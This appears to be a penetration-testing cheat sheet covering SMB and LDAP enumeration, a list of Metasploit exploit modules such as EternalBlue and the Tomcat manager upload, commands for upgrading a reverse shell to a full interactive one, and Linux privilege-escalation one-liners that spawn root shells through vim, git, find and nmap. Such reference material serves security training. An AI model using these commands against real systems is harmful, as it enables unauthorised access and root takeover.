Ultimate Cheat Sheet: Services

Windows Shares

SMB:

```
//List shares
smbmap -H [IP]

//Enumerate shares
enum4linux [IP]

//Connect to a share
smbclient \\[IP]\[SHARENAME]
smbclient -H [HOST] -u [USER] -p [PASSWORD]

//Connect to a null share
smbclient -N \\[IP]\[SHARENAME]

SMBCLIENT EXAMPLE:
Access the remote shares and browse the remote machine:
smbclient -L WORKGROUP -I 192.168.99.162 -N -U ""

Get Worksharing and see what files are there:
smbclient \\\\192.168.99.162\\Worksharing -N
```

LDAP:

```
//In nmap scan:
389/tcp  open  ldap         Microsoft Windows Active
Directory LDAP (Domain: host.name, Site:
```

```
Default-First-Site-Name)

//Performing a search:
ldapsearch -h [HOST] -p [PORT] -x b [SEARCH BASE]

//Tool windapsearch to enumerate users:
python3 windapsearch.py -d [DOMAIN] -U
```

Common Exploit Modules

vsftpd:
vsftpd_234_backdoor

irc:
unreal_irc_backdoor

smb: (ports 139, 445)
exploit/windows/smb/ms08_067_netapi

exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_eternalblue_win8
exploit/windows/smb/ms17_010_psexec (eternal romance)

icecast: (port 8000 windows)
windows/http/icecast_header

apache tomcat:
Brute force manager login:
auxiliary/scanner/http/tomcat_mgr_login

Authenticated exploit:
exploit/multi/http/tomcat_mgr_deploy
exploit/multi/http/tomcat_mgr_upload

Shells and Escalation:

Upgrading Reverse shells to be fully interactive:

/bin/sh -i

python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'

python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'

Priv Esc Linux:

Finding commands user can run as sudo:
sudo -l

Find commands:
find / -perm -u=s -type f 2>/dev/null
find / -perm /4000 2>/dev/null

Find os version:
lsb_release -a
uname -ar

For when user can run with effective uid root:

Vim Escalation:

```
vim -c ':!/bin/sh'
```

```
vim
:set shell=/bin/sh
:shell
```

Git Escalation:

```
sudo git -p --help
usage: git [--version] [--help] [-C <path>] [-c name=value]
[--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
[-p|--paginate|--no-pager] [--no-replace-objects] [--bare]
[--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
<command> [<args>]
```

```
The most commonly used git commands are:
add Add file contents to the index
bisect Find by binary search the change that introduced a bug
branch List, create, or delete branches
checkout Checkout a branch or paths to the working tree
clone Clone a repository into a new directory
!/bin/bash
```

Find Escalation:

```
find . -exec /bin/sh -p \; -quit
```

Nmap Escalation:

```
nmap --interactive
!sh
```